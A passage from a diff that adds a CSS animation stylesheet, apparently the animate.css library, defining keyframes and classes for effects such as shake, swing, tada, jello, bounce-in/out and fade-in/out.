+ transform: translate3d(10px, 0, 0) + } +} + +@keyframes shake { + from, + to { + -webkit-transform: translate3d(0, 0, 0); + transform: translate3d(0, 0, 0) + } + 10%, + 30%, + 50%, + 70%, + 90% { + -webkit-transform: translate3d(-10px, 0, 0); + transform: translate3d(-10px, 0, 0) + } + 20%, + 40%, + 60%, + 80% { + -webkit-transform: translate3d(10px, 0, 0); + transform: translate3d(10px, 0, 0) + } +} + +.shake { + -webkit-animation-name: shake; + animation-name: shake +} + +@-webkit-keyframes headShake { + 0% { + -webkit-transform: translateX(0); + transform: translateX(0) + } + 6.5% { + -webkit-transform: translateX(-6px) rotateY(-9deg); + transform: translateX(-6px) rotateY(-9deg) + } + 18.5% { + -webkit-transform: translateX(5px) rotateY(7deg); + transform: translateX(5px) rotateY(7deg) + } + 31.5% { + -webkit-transform: translateX(-3px) rotateY(-5deg); + transform: translateX(-3px) rotateY(-5deg) + } + 43.5% { + -webkit-transform: translateX(2px) rotateY(3deg); + transform: translateX(2px) rotateY(3deg) + } + 50% { + -webkit-transform: translateX(0); + transform: translateX(0) + } +} + +@keyframes headShake { + 0% { + -webkit-transform: translateX(0); + transform: translateX(0) + } + 6.5% { + -webkit-transform: translateX(-6px) rotateY(-9deg); + transform: translateX(-6px) rotateY(-9deg) + } + 18.5% { + -webkit-transform: translateX(5px) rotateY(7deg); + transform: translateX(5px) rotateY(7deg) + } + 31.5% { + -webkit-transform: translateX(-3px) rotateY(-5deg); + transform: translateX(-3px) rotateY(-5deg) + } + 43.5% { + -webkit-transform: translateX(2px) rotateY(3deg); + transform: translateX(2px) rotateY(3deg) + } + 50% { + -webkit-transform: translateX(0); + transform: translateX(0) + } +} + +.headShake { + -webkit-animation-timing-function: ease-in-out; + animation-timing-function: ease-in-out; + -webkit-animation-name: headShake; + animation-name: headShake +} + +@-webkit-keyframes swing { + 20% { + -webkit-transform: rotate3d(0, 0, 1, 15deg); + transform: rotate3d(0, 0, 1, 15deg) + } + 40% { + -webkit-transform: rotate3d(0, 0, 1, -10deg); + transform: rotate3d(0, 0, 1, -10deg) + } + 60% { + -webkit-transform: rotate3d(0, 0, 1, 5deg); + transform: rotate3d(0, 0, 1, 5deg) + } + 80% { + -webkit-transform: rotate3d(0, 0, 1, -5deg); + transform: rotate3d(0, 0, 1, -5deg) + } + to { + -webkit-transform: rotate3d(0, 0, 1, 0deg); + transform: rotate3d(0, 0, 1, 0deg) + } +} + +@keyframes swing { + 20% { + -webkit-transform: rotate3d(0, 0, 1, 15deg); + transform: rotate3d(0, 0, 1, 15deg) + } + 40% { + -webkit-transform: rotate3d(0, 0, 1, -10deg); + transform: rotate3d(0, 0, 1, -10deg) + } + 60% { + -webkit-transform: rotate3d(0, 0, 1, 5deg); + transform: rotate3d(0, 0, 1, 5deg) + } + 80% { + -webkit-transform: rotate3d(0, 0, 1, -5deg); + transform: rotate3d(0, 0, 1, -5deg) + } + to { + -webkit-transform: rotate3d(0, 0, 1, 0deg); + transform: rotate3d(0, 0, 1, 0deg) + } +} + +.swing { + -webkit-transform-origin: top center; + transform-origin: top center; + -webkit-animation-name: swing; + animation-name: swing +} + +@-webkit-keyframes tada { + from { + -webkit-transform: scale3d(1, 1, 1); + transform: scale3d(1, 1, 1) + } + 10%, + 20% { + -webkit-transform: scale3d(.9, .9, .9) rotate3d(0, 0, 1, -3deg); + transform: scale3d(.9, .9, .9) rotate3d(0, 0, 1, -3deg) + } + 30%, + 50%, + 70%, + 90% { + -webkit-transform: scale3d(1.1, 1.1, 1.1) rotate3d(0, 0, 1, 3deg); + transform: scale3d(1.1, 1.1, 1.1) rotate3d(0, 0, 1, 3deg) + } + 40%, + 60%, + 80% { + -webkit-transform: scale3d(1.1, 1.1, 1.1) rotate3d(0, 0, 1, -3deg); + transform: scale3d(1.1, 1.1, 1.1) rotate3d(0, 0, 1, -3deg) + } + to { + -webkit-transform: scale3d(1, 1, 1); + transform: scale3d(1, 1, 1) + } +} + +@keyframes tada { + from { + -webkit-transform: scale3d(1, 1, 1); + transform: scale3d(1, 1, 1) + } + 10%, + 20% { + -webkit-transform: scale3d(.9, .9, .9) rotate3d(0, 0, 1, -3deg); + transform: scale3d(.9, .9, .9) rotate3d(0, 0, 1, -3deg) + } + 30%, + 50%, + 70%, + 90% { + -webkit-transform: scale3d(1.1, 1.1, 1.1) rotate3d(0, 0, 1, 3deg); + transform: scale3d(1.1, 1.1, 1.1) rotate3d(0, 0, 1, 3deg) + } + 40%, + 60%, + 80% { + -webkit-transform: scale3d(1.1, 1.1, 1.1) rotate3d(0, 0, 1, -3deg); + transform: scale3d(1.1, 1.1, 1.1) rotate3d(0, 0, 1, -3deg) + } + to { + -webkit-transform: scale3d(1, 1, 1); + transform: scale3d(1, 1, 1) + } +} + +.tada { + -webkit-animation-name: tada; + animation-name: tada +} + +@-webkit-keyframes wobble { + from { + -webkit-transform: translate3d(0, 0, 0); + transform: translate3d(0, 0, 0) + } + 15% { + -webkit-transform: translate3d(-25%, 0, 0) rotate3d(0, 0, 1, -5deg); + transform: translate3d(-25%, 0, 0) rotate3d(0, 0, 1, -5deg) + } + 30% { + -webkit-transform: translate3d(20%, 0, 0) rotate3d(0, 0, 1, 3deg); + transform: translate3d(20%, 0, 0) rotate3d(0, 0, 1, 3deg) + } + 45% { + -webkit-transform: translate3d(-15%, 0, 0) rotate3d(0, 0, 1, -3deg); + transform: translate3d(-15%, 0, 0) rotate3d(0, 0, 1, -3deg) + } + 60% { + -webkit-transform: translate3d(10%, 0, 0) rotate3d(0, 0, 1, 2deg); + transform: translate3d(10%, 0, 0) rotate3d(0, 0, 1, 2deg) + } + 75% { + -webkit-transform: translate3d(-5%, 0, 0) rotate3d(0, 0, 1, -1deg); + transform: translate3d(-5%, 0, 0) rotate3d(0, 0, 1, -1deg) + } + to { + -webkit-transform: translate3d(0, 0, 0); + transform: translate3d(0, 0, 0) + } +} + +@keyframes wobble { + from { + -webkit-transform: translate3d(0, 0, 0); + transform: translate3d(0, 0, 0) + } + 15% { + -webkit-transform: translate3d(-25%, 0, 0) rotate3d(0, 0, 1, -5deg); + transform: translate3d(-25%, 0, 0) rotate3d(0, 0, 1, -5deg) + } + 30% { + -webkit-transform: translate3d(20%, 0, 0) rotate3d(0, 0, 1, 3deg); + transform: translate3d(20%, 0, 0) rotate3d(0, 0, 1, 3deg) + } + 45% { + -webkit-transform: translate3d(-15%, 0, 0) rotate3d(0, 0, 1, -3deg); + transform: translate3d(-15%, 0, 0) rotate3d(0, 0, 1, -3deg) + } + 60% { + -webkit-transform: translate3d(10%, 0, 0) rotate3d(0, 0, 1, 2deg); + transform: translate3d(10%, 0, 0) rotate3d(0, 0, 1, 2deg) + } + 75% { + -webkit-transform: translate3d(-5%, 0, 0) rotate3d(0, 0, 1, -1deg); + transform: translate3d(-5%, 0, 0) rotate3d(0, 0, 1, -1deg) + } + to { + -webkit-transform: translate3d(0, 0, 0); + transform: translate3d(0, 0, 0) + } +} + +.wobble { + -webkit-animation-name: wobble; + animation-name: wobble +} + +@-webkit-keyframes jello { + 11.1%, + from, + to { + -webkit-transform: translate3d(0, 0, 0); + transform: translate3d(0, 0, 0) + } + 22.2% { + -webkit-transform: skewX(-12.5deg) skewY(-12.5deg); + transform: skewX(-12.5deg) skewY(-12.5deg) + } + 33.3% { + -webkit-transform: skewX(6.25deg) skewY(6.25deg); + transform: skewX(6.25deg) skewY(6.25deg) + } + 44.4% { + -webkit-transform: skewX(-3.125deg) skewY(-3.125deg); + transform: skewX(-3.125deg) skewY(-3.125deg) + } + 55.5% { + -webkit-transform: skewX(1.5625deg) skewY(1.5625deg); + transform: skewX(1.5625deg) skewY(1.5625deg) + } + 66.6% { + -webkit-transform: skewX(-.78125deg) skewY(-.78125deg); + transform: skewX(-.78125deg) skewY(-.78125deg) + } + 77.7% { + -webkit-transform: skewX(.390625deg) skewY(.390625deg); + transform: skewX(.390625deg) skewY(.390625deg) + } + 88.8% { + -webkit-transform: skewX(-.1953125deg) skewY(-.1953125deg); + transform: skewX(-.1953125deg) skewY(-.1953125deg) + } +} + +@keyframes jello { + 11.1%, + from, + to { + -webkit-transform: translate3d(0, 0, 0); + transform: translate3d(0, 0, 0) + } + 22.2% { + -webkit-transform: skewX(-12.5deg) skewY(-12.5deg); + transform: skewX(-12.5deg) skewY(-12.5deg) + } + 33.3% { + -webkit-transform: skewX(6.25deg) skewY(6.25deg); + transform: skewX(6.25deg) skewY(6.25deg) + } + 44.4% { + -webkit-transform: skewX(-3.125deg) skewY(-3.125deg); + transform: skewX(-3.125deg) skewY(-3.125deg) + } + 55.5% { + -webkit-transform: skewX(1.5625deg) skewY(1.5625deg); + transform: skewX(1.5625deg) skewY(1.5625deg) + } + 66.6% { + -webkit-transform: skewX(-.78125deg) skewY(-.78125deg); + transform: skewX(-.78125deg) skewY(-.78125deg) + } + 77.7% { + -webkit-transform: skewX(.390625deg) skewY(.390625deg); + transform: skewX(.390625deg) skewY(.390625deg) + } + 88.8% { + -webkit-transform: skewX(-.1953125deg) skewY(-.1953125deg); + transform: skewX(-.1953125deg) skewY(-.1953125deg) + } +} + +.jello { + -webkit-animation-name: jello; + animation-name: jello; + -webkit-transform-origin: center; + transform-origin: center +} + +@-webkit-keyframes heartBeat { + 0% { + -webkit-transform: scale(1); + transform: scale(1) + } + 14% { + -webkit-transform: scale(1.3); + transform: scale(1.3) + } + 28% { + -webkit-transform: scale(1); + transform: scale(1) + } + 42% { + -webkit-transform: scale(1.3); + transform: scale(1.3) + } + 70% { + -webkit-transform: scale(1); + transform: scale(1) + } +} + +@keyframes heartBeat { + 0% { + -webkit-transform: scale(1); + transform: scale(1) + } + 14% { + -webkit-transform: scale(1.3); + transform: scale(1.3) + } + 28% { + -webkit-transform: scale(1); + transform: scale(1) + } + 42% { + -webkit-transform: scale(1.3); + transform: scale(1.3) + } + 70% { + -webkit-transform: scale(1); + transform: scale(1) + } +} + +.heartBeat { + -webkit-animation-name: heartBeat; + animation-name: heartBeat; + -webkit-animation-duration: 1.3s; + animation-duration: 1.3s; + -webkit-animation-timing-function: ease-in-out; + animation-timing-function: ease-in-out +} + +@-webkit-keyframes bounceIn { + 20%, + 40%, + 60%, + 80%, + from, + to { + -webkit-animation-timing-function: cubic-bezier(.215, .61, .355, 1); + animation-timing-function: cubic-bezier(.215, .61, .355, 1) + } + 0% { + opacity: 0; + -webkit-transform: scale3d(.3, .3, .3); + transform: scale3d(.3, .3, .3) + } + 20% { + -webkit-transform: scale3d(1.1, 1.1, 1.1); + transform: scale3d(1.1, 1.1, 1.1) + } + 40% { + -webkit-transform: scale3d(.9, .9, .9); + transform: scale3d(.9, .9, .9) + } + 60% { + opacity: 1; + -webkit-transform: scale3d(1.03, 1.03, 1.03); + transform: scale3d(1.03, 1.03, 1.03) + } + 80% { + -webkit-transform: scale3d(.97, .97, .97); + transform: scale3d(.97, .97, .97) + } + to { + opacity: 1; + -webkit-transform: scale3d(1, 1, 1); + transform: scale3d(1, 1, 1) + } +} + +@keyframes bounceIn { + 20%, + 40%, + 60%, + 80%, + from, + to { + -webkit-animation-timing-function: cubic-bezier(.215, .61, .355, 1); + animation-timing-function: cubic-bezier(.215, .61, .355, 1) + } + 0% { + opacity: 0; + -webkit-transform: scale3d(.3, .3, .3); + transform: scale3d(.3, .3, .3) + } + 20% { + -webkit-transform: scale3d(1.1, 1.1, 1.1); + transform: scale3d(1.1, 1.1, 1.1) + } + 40% { + -webkit-transform: scale3d(.9, .9, .9); + transform: scale3d(.9, .9, .9) + } + 60% { + opacity: 1; + -webkit-transform: scale3d(1.03, 1.03, 1.03); + transform: scale3d(1.03, 1.03, 1.03) + } + 80% { + -webkit-transform: scale3d(.97, .97, .97); + transform: scale3d(.97, .97, .97) + } + to { + opacity: 1; + -webkit-transform: scale3d(1, 1, 1); + transform: scale3d(1, 1, 1) + } +} + +.bounceIn { + -webkit-animation-duration: .75s; + animation-duration: .75s; + -webkit-animation-name: bounceIn; + animation-name: bounceIn +} + +@-webkit-keyframes bounceInDown { + 60%, + 75%, + 90%, + from, + to { + -webkit-animation-timing-function: cubic-bezier(.215, .61, .355, 1); + animation-timing-function: cubic-bezier(.215, .61, .355, 1) + } + 0% { + opacity: 0; + -webkit-transform: translate3d(0, -3000px, 0); + transform: translate3d(0, -3000px, 0) + } + 60% { + opacity: 1; + -webkit-transform: translate3d(0, 25px, 0); + transform: translate3d(0, 25px, 0) + } + 75% { + -webkit-transform: translate3d(0, -10px, 0); + transform: translate3d(0, -10px, 0) + } + 90% { + -webkit-transform: translate3d(0, 5px, 0); + transform: translate3d(0, 5px, 0) + } + to { + -webkit-transform: translate3d(0, 0, 0); + transform: translate3d(0, 0, 0) + } +} + +@keyframes bounceInDown { + 60%, + 75%, + 90%, + from, + to { + -webkit-animation-timing-function: cubic-bezier(.215, .61, .355, 1); + animation-timing-function: cubic-bezier(.215, .61, .355, 1) + } + 0% { + opacity: 0; + -webkit-transform: translate3d(0, -3000px, 0); + transform: translate3d(0, -3000px, 0) + } + 60% { + opacity: 1; + -webkit-transform: translate3d(0, 25px, 0); + transform: translate3d(0, 25px, 0) + } + 75% { + -webkit-transform: translate3d(0, -10px, 0); + transform: translate3d(0, -10px, 0) + } + 90% { + -webkit-transform: translate3d(0, 5px, 0); + transform: translate3d(0, 5px, 0) + } + to { + -webkit-transform: translate3d(0, 0, 0); + transform: translate3d(0, 0, 0) + } +} + +.bounceInDown { + -webkit-animation-name: bounceInDown; + animation-name: bounceInDown +} + +@-webkit-keyframes bounceInLeft { + 60%, + 75%, + 90%, + from, + to { + -webkit-animation-timing-function: cubic-bezier(.215, .61, .355, 1); + animation-timing-function: cubic-bezier(.215, .61, .355, 1) + } + 0% { + opacity: 0; + -webkit-transform: translate3d(-3000px, 0, 0); + transform: translate3d(-3000px, 0, 0) + } + 60% { + opacity: 1; + -webkit-transform: translate3d(25px, 0, 0); + transform: translate3d(25px, 0, 0) + } + 75% { + -webkit-transform: translate3d(-10px, 0, 0); + transform: translate3d(-10px, 0, 0) + } + 90% { + -webkit-transform: translate3d(5px, 0, 0); + transform: translate3d(5px, 0, 0) + } + to { + -webkit-transform: translate3d(0, 0, 0); + transform: translate3d(0, 0, 0) + } +} + +@keyframes bounceInLeft { + 60%, + 75%, + 90%, + from, + to { + -webkit-animation-timing-function: cubic-bezier(.215, .61, .355, 1); + animation-timing-function: cubic-bezier(.215, .61, .355, 1) + } + 0% { + opacity: 0; + -webkit-transform: translate3d(-3000px, 0, 0); + transform: translate3d(-3000px, 0, 0) + } + 60% { + opacity: 1; + -webkit-transform: translate3d(25px, 0, 0); + transform: translate3d(25px, 0, 0) + } + 75% { + -webkit-transform: translate3d(-10px, 0, 0); + transform: translate3d(-10px, 0, 0) + } + 90% { + -webkit-transform: translate3d(5px, 0, 0); + transform: translate3d(5px, 0, 0) + } + to { + -webkit-transform: translate3d(0, 0, 0); + transform: translate3d(0, 0, 0) + } +} + +.bounceInLeft { + -webkit-animation-name: bounceInLeft; + animation-name: bounceInLeft +} + +@-webkit-keyframes bounceInRight { + 60%, + 75%, + 90%, + from, + to { + -webkit-animation-timing-function: cubic-bezier(.215, .61, .355, 1); + animation-timing-function: cubic-bezier(.215, .61, .355, 1) + } + from { + opacity: 0; + -webkit-transform: translate3d(3000px, 0, 0); + transform: translate3d(3000px, 0, 0) + } + 60% { + opacity: 1; + -webkit-transform: translate3d(-25px, 0, 0); + transform: translate3d(-25px, 0, 0) + } + 75% { + -webkit-transform: translate3d(10px, 0, 0); + transform: translate3d(10px, 0, 0) + } + 90% { + -webkit-transform: translate3d(-5px, 0, 0); + transform: translate3d(-5px, 0, 0) + } + to { + -webkit-transform: translate3d(0, 0, 0); + transform: translate3d(0, 0, 0) + } +} + +@keyframes bounceInRight { + 60%, + 75%, + 90%, + from, + to { + -webkit-animation-timing-function: cubic-bezier(.215, .61, .355, 1); + animation-timing-function: cubic-bezier(.215, .61, .355, 1) + } + from { + opacity: 0; + -webkit-transform: translate3d(3000px, 0, 0); + transform: translate3d(3000px, 0, 0) + } + 60% { + opacity: 1; + -webkit-transform: translate3d(-25px, 0, 0); + transform: translate3d(-25px, 0, 0) + } + 75% { + -webkit-transform: translate3d(10px, 0, 0); + transform: translate3d(10px, 0, 0) + } + 90% { + -webkit-transform: translate3d(-5px, 0, 0); + transform: translate3d(-5px, 0, 0) + } + to { + -webkit-transform: translate3d(0, 0, 0); + transform: translate3d(0, 0, 0) + } +} + +.bounceInRight { + -webkit-animation-name: bounceInRight; + animation-name: bounceInRight +} + +@-webkit-keyframes bounceInUp { + 60%, + 75%, + 90%, + from, + to { + -webkit-animation-timing-function: cubic-bezier(.215, .61, .355, 1); + animation-timing-function: cubic-bezier(.215, .61, .355, 1) + } + from { + opacity: 0; + -webkit-transform: translate3d(0, 3000px, 0); + transform: translate3d(0, 3000px, 0) + } + 60% { + opacity: 1; + -webkit-transform: translate3d(0, -20px, 0); + transform: translate3d(0, -20px, 0) + } + 75% { + -webkit-transform: translate3d(0, 10px, 0); + transform: translate3d(0, 10px, 0) + } + 90% { + -webkit-transform: translate3d(0, -5px, 0); + transform: translate3d(0, -5px, 0) + } + to { + -webkit-transform: translate3d(0, 0, 0); + transform: translate3d(0, 0, 0) + } +} + +@keyframes bounceInUp { + 60%, + 75%, + 90%, + from, + to { + -webkit-animation-timing-function: cubic-bezier(.215, .61, .355, 1); + animation-timing-function: cubic-bezier(.215, .61, .355, 1) + } + from { + opacity: 0; + -webkit-transform: translate3d(0, 3000px, 0); + transform: translate3d(0, 3000px, 0) + } + 60% { + opacity: 1; + -webkit-transform: translate3d(0, -20px, 0); + transform: translate3d(0, -20px, 0) + } + 75% { + -webkit-transform: translate3d(0, 10px, 0); + transform: translate3d(0, 10px, 0) + } + 90% { + -webkit-transform: translate3d(0, -5px, 0); + transform: translate3d(0, -5px, 0) + } + to { + -webkit-transform: translate3d(0, 0, 0); + transform: translate3d(0, 0, 0) + } +} + +.bounceInUp { + -webkit-animation-name: bounceInUp; + animation-name: bounceInUp +} + +@-webkit-keyframes bounceOut { + 20% { + -webkit-transform: scale3d(.9, .9, .9); + transform: scale3d(.9, .9, .9) + } + 50%, + 55% { + opacity: 1; + -webkit-transform: scale3d(1.1, 1.1, 1.1); + transform: scale3d(1.1, 1.1, 1.1) + } + to { + opacity: 0; + -webkit-transform: scale3d(.3, .3, .3); + transform: scale3d(.3, .3, .3) + } +} + +@keyframes bounceOut { + 20% { + -webkit-transform: scale3d(.9, .9, .9); + transform: scale3d(.9, .9, .9) + } + 50%, + 55% { + opacity: 1; + -webkit-transform: scale3d(1.1, 1.1, 1.1); + transform: scale3d(1.1, 1.1, 1.1) + } + to { + opacity: 0; + -webkit-transform: scale3d(.3, .3, .3); + transform: scale3d(.3, .3, .3) + } +} + +.bounceOut { + -webkit-animation-duration: .75s; + animation-duration: .75s; + -webkit-animation-name: bounceOut; + animation-name: bounceOut +} + +@-webkit-keyframes bounceOutDown { + 20% { + -webkit-transform: translate3d(0, 10px, 0); + transform: translate3d(0, 10px, 0) + } + 40%, + 45% { + opacity: 1; + -webkit-transform: translate3d(0, -20px, 0); + transform: translate3d(0, -20px, 0) + } + to { + opacity: 0; + -webkit-transform: translate3d(0, 2000px, 0); + transform: translate3d(0, 2000px, 0) + } +} + +@keyframes bounceOutDown { + 20% { + -webkit-transform: translate3d(0, 10px, 0); + transform: translate3d(0, 10px, 0) + } + 40%, + 45% { + opacity: 1; + -webkit-transform: translate3d(0, -20px, 0); + transform: translate3d(0, -20px, 0) + } + to { + opacity: 0; + -webkit-transform: translate3d(0, 2000px, 0); + transform: translate3d(0, 2000px, 0) + } +} + +.bounceOutDown { + -webkit-animation-name: bounceOutDown; + animation-name: bounceOutDown +} + +@-webkit-keyframes bounceOutLeft { + 20% { + opacity: 1; + -webkit-transform: translate3d(20px, 0, 0); + transform: translate3d(20px, 0, 0) + } + to { + opacity: 0; + -webkit-transform: translate3d(-2000px, 0, 0); + transform: translate3d(-2000px, 0, 0) + } +} + +@keyframes bounceOutLeft { + 20% { + opacity: 1; + -webkit-transform: translate3d(20px, 0, 0); + transform: translate3d(20px, 0, 0) + } + to { + opacity: 0; + -webkit-transform: translate3d(-2000px, 0, 0); + transform: translate3d(-2000px, 0, 0) + } +} + +.bounceOutLeft { + -webkit-animation-name: bounceOutLeft; + animation-name: bounceOutLeft +} + +@-webkit-keyframes bounceOutRight { + 20% { + opacity: 1; + -webkit-transform: translate3d(-20px, 0, 0); + transform: translate3d(-20px, 0, 0) + } + to { + opacity: 0; + -webkit-transform: translate3d(2000px, 0, 0); + transform: translate3d(2000px, 0, 0) + } +} + +@keyframes bounceOutRight { + 20% { + opacity: 1; + -webkit-transform: translate3d(-20px, 0, 0); + transform: translate3d(-20px, 0, 0) + } + to { + opacity: 0; + -webkit-transform: translate3d(2000px, 0, 0); + transform: translate3d(2000px, 0, 0) + } +} + +.bounceOutRight { + -webkit-animation-name: bounceOutRight; + animation-name: bounceOutRight +} + +@-webkit-keyframes bounceOutUp { + 20% { + -webkit-transform: translate3d(0, -10px, 0); + transform: translate3d(0, -10px, 0) + } + 40%, + 45% { + opacity: 1; + -webkit-transform: translate3d(0, 20px, 0); + transform: translate3d(0, 20px, 0) + } + to { + opacity: 0; + -webkit-transform: translate3d(0, -2000px, 0); + transform: translate3d(0, -2000px, 0) + } +} + +@keyframes bounceOutUp { + 20% { + -webkit-transform: translate3d(0, -10px, 0); + transform: translate3d(0, -10px, 0) + } + 40%, + 45% { + opacity: 1; + -webkit-transform: translate3d(0, 20px, 0); + transform: translate3d(0, 20px, 0) + } + to { + opacity: 0; + -webkit-transform: translate3d(0, -2000px, 0); + transform: translate3d(0, -2000px, 0) + } +} + +.bounceOutUp { + -webkit-animation-name: bounceOutUp; + animation-name: bounceOutUp +} + +@-webkit-keyframes fadeIn { + from { + opacity: 0 + } + to { + opacity: 1 + } +} + +@keyframes fadeIn { + from { + opacity: 0 + } + to { + opacity: 1 + } +} + +.fadeIn { + -webkit-animation-name: fadeIn; + animation-name: fadeIn +} + +@-webkit-keyframes fadeInDown { + from { + opacity: 0; + -webkit-transform: translate3d(0, -100%, 0); + transform: translate3d(0, -100%, 0) + } + to { + opacity: 1; + -webkit-transform: translate3d(0, 0, 0); + transform: translate3d(0, 0, 0) + } +} + +@keyframes fadeInDown { + from { + opacity: 0; + -webkit-transform: translate3d(0, -100%, 0); + transform: translate3d(0, -100%, 0) + } + to { + opacity: 1; + -webkit-transform: translate3d(0, 0, 0); + transform: translate3d(0, 0, 0) + } +} + +.fadeInDown { + -webkit-animation-name: fadeInDown; + animation-name: fadeInDown +} + +@-webkit-keyframes fadeInDownBig { + from { + opacity: 0; + -webkit-transform: translate3d(0, -2000px, 0); + transform: translate3d(0, -2000px, 0) + } + to { + opacity: 1; + -webkit-transform: translate3d(0, 0, 0); + transform: translate3d(0, 0, 0) + } +} + +@keyframes fadeInDownBig { + from { + opacity: 0; + -webkit-transform: translate3d(0, -2000px, 0); + transform: translate3d(0, -2000px, 0) + } + to { + opacity: 1; + -webkit-transform: translate3d(0, 0, 0); + transform: translate3d(0, 0, 0) + } +} + +.fadeInDownBig { + -webkit-animation-name: fadeInDownBig; + animation-name: fadeInDownBig +} + +@-webkit-keyframes fadeInLeft { + from { + opacity: 0; + -webkit-transform: translate3d(-100%, 0, 0); + transform: translate3d(-100%, 0, 0) + } + to { + opacity: 1; + -webkit-transform: translate3d(0, 0, 0); + transform: translate3d(0, 0, 0) + } +} + +@keyframes fadeInLeft { + from { + opacity: 0; + -webkit-transform: translate3d(-100%, 0, 0); + transform: translate3d(-100%, 0, 0) + } + to { + opacity: 1; + -webkit-transform: translate3d(0, 0, 0); + transform: translate3d(0, 0, 0) + } +} + +.fadeInLeft { + -webkit-animation-name: fadeInLeft; + animation-name: fadeInLeft +} + +@-webkit-keyframes fadeInLeftBig { + from { + opacity: 0; + -webkit-transform: translate3d(-2000px, 0, 0); + transform: translate3d(-2000px, 0, 0) + } + to { + opacity: 1; + -webkit-transform: translate3d(0, 0, 0); + transform: translate3d(0, 0, 0) + } +} + +@keyframes fadeInLeftBig { + from { + opacity: 0; + -webkit-transform: translate3d(-2000px, 0, 0); + transform: translate3d(-2000px, 0, 0) + } + to { + opacity: 1; + -webkit-transform: translate3d(0, 0, 0); + transform: translate3d(0, 0, 0) + } +} + +.fadeInLeftBig { + -webkit-animation-name: fadeInLeftBig; + animation-name: fadeInLeftBig +} + +@-webkit-keyframes fadeInRight { + from { + opacity: 0; + -webkit-transform: translate3d(100%, 0, 0); + transform: translate3d(100%, 0, 0) + } + to { + opacity: 1; + -webkit-transform: translate3d(0, 0, 0); + transform: translate3d(0, 0, 0) + } +} + +@keyframes fadeInRight { + from { + opacity: 0; + -webkit-transform: translate3d(100%, 0, 0); + transform: translate3d(100%, 0, 0) + } + to { + opacity: 1; + -webkit-transform: translate3d(0, 0, 0); + transform: translate3d(0, 0, 0) + } +} + +.fadeInRight { + -webkit-animation-name: fadeInRight; + animation-name: fadeInRight +} + +@-webkit-keyframes fadeInRightBig { + from { + opacity: 0; + -webkit-transform: translate3d(2000px, 0, 0); + transform: translate3d(2000px, 0, 0) + } + to { + opacity: 1; + -webkit-transform: translate3d(0, 0, 0); + transform: translate3d(0, 0, 0) + } +} + +@keyframes fadeInRightBig { + from { + opacity: 0; + -webkit-transform: translate3d(2000px, 0, 0); + transform: translate3d(2000px, 0, 0) + } + to { + opacity: 1; + -webkit-transform: translate3d(0, 0, 0); + transform: translate3d(0, 0, 0) + } +} + +.fadeInRightBig { + -webkit-animation-name: fadeInRightBig; + animation-name: fadeInRightBig +} + +@-webkit-keyframes fadeInUp { + from { + opacity: 0; + -webkit-transform: translate3d(0, 100%, 0); + transform: translate3d(0, 100%, 0) + } + to { + opacity: 1; + -webkit-transform: translate3d(0, 0, 0); + transform: translate3d(0, 0, 0) + } +} + +@keyframes fadeInUp { + from { + opacity: 0; + -webkit-transform: translate3d(0, 100%, 0); + transform: translate3d(0, 100%, 0) + } + to { + opacity: 1; + -webkit-transform: translate3d(0, 0, 0); + transform: translate3d(0, 0, 0) + } +} + +.fadeInUp { + -webkit-animation-name: fadeInUp; + animation-name: fadeInUp +} + +@-webkit-keyframes fadeInUpBig { + from { + opacity: 0; + -webkit-transform: translate3d(0, 2000px, 0); + transform: translate3d(0, 2000px, 0) + } + to { + opacity: 1; + -webkit-transform: translate3d(0, 0, 0); + transform: translate3d(0, 0, 0) + } +} + +@keyframes fadeInUpBig { + from { + opacity: 0; + -webkit-transform: translate3d(0, 2000px, 0); + transform: translate3d(0, 2000px, 0) + } + to { + opacity: 1; + -webkit-transform: translate3d(0, 0, 0); + transform: translate3d(0, 0, 0) + } +} + +.fadeInUpBig { + -webkit-animation-name: fadeInUpBig; + animation-name: fadeInUpBig +} + +@-webkit-keyframes fadeOut { + from { + opacity: 1 + } + to { + opacity: 0 + } +} + +@keyframes fadeOut { + from { + opacity: 1 + } + to { + opacity: 0 + } +} + +.fadeOut { + -webkit-animation-name: fadeOut; + animation-name: fadeOut +} + +@-webkit-keyframes fadeOutDown { + from { + opacity: 1 + } + to { + opacity: 0; + -webkit-transform: translate3d(0, 100%, 0); + transform: translate3d(0, 100%, 0) + } +} + +@keyframes fadeOutDown { + from { + opacity: 1 + } + to { + opacity: 0; + -webkit-transform: translate3d(0, 100%, 0); + transform: translate3d(0, 100%, 0) + } +} + +.fadeOutDown { + -webkit-animation-name: fadeOutDown; + animation-name: fadeOutDown +} + +@-webkit-keyframes fadeOutDownBig { + from { + opacity: 1 + } + to { + opacity: 0; + -webkit-transform: translate3d(0, 2000px, 0); + transform: translate3d(0, 2000px, 0) + } +} + +@keyframes fadeOutDownBig { + from { + opacity: 1 + } + to { + opacity: 0; + -webkit-transform: translate3d(0, 2000px, 0); + transform: translate3d(0, 2000px, 0) + } +} + +.fadeOutDownBig { + -webkit-animation-name: fadeOutDownBig; + animation-name: fadeOutDownBig +} + +@-webkit-keyframes fadeOutLeft { + from { + opacity: 1 + } + to { + opacity: 0; + -webkit-transform: translate3d(-100%, 0, 0); + transform: translate3d(-100%, 0, 0) + } +} + +@keyframes fadeOutLeft { + from { + opacity: 1 + } + to { + opacity: 0; + -webkit-transform: translate3d(-100%, 0, 0); + transform: translate3d(-100%, 0, 0) + } +} + +.fadeOutLeft { + -webkit-animation-name: fadeOutLeft; + animation-name: fadeOutLeft +} + +@-webkit-keyframes fadeOutLeftBig { + from { + opacity: 1 + } + to { + opacity: 0; + -webkit-transform: translate3d(-2000px, 0, 0); + transform: translate3d(-2000px, 0, 0) + } +} + +@keyframes fadeOutLeftBig { + from { + opacity: 1 + } + to { + opacity: 0; + -webkit-transform: translate3d(-2000px, 0, 0); + transform: translate3d(-2000px, 0, 0) + } +} + +.fadeOutLeftBig { + -webkit-animation-name: fadeOutLeftBig; + animation-name: fadeOutLeftBig +} + +@-webkit-keyframes fadeOutRight { + from { + opacity: 1 + } + to { + opacity: 0; + -webkit-transform: translate3d(100%, 0, 0); + transform: translate3d(100%, 0, 0) + } +} + +@keyframes fadeOutRight { + from { + opacity: 1 + } + to { + opacity: 0; + -webkit-transform: translate3d(100%, 0, 0); + transform: translate3d(100%, 0, 0) + } +} + +.fadeOutRight { + -webkit-animation-name: fadeOutRight; + animation-name: fadeOutRight +} + +@-webkit-keyframes fadeOutRightBig { + from { + opacity: 1 + } + to { + opacity: 0; + -webkit-transform: translate3d(2000px, 0, 0); + transform: translate3d(2000px, 0, 0) + } +} + +@keyframes fadeOutRightBig { + from { + opacity: 1 + } + to { + opacity: 0; + -webkit-transform: translate3d(2000px, 0, 0); + transform: translate3d(2000px, 0, 0) + } +} + +.fadeOutRightBig { + -webkit-animation-name: 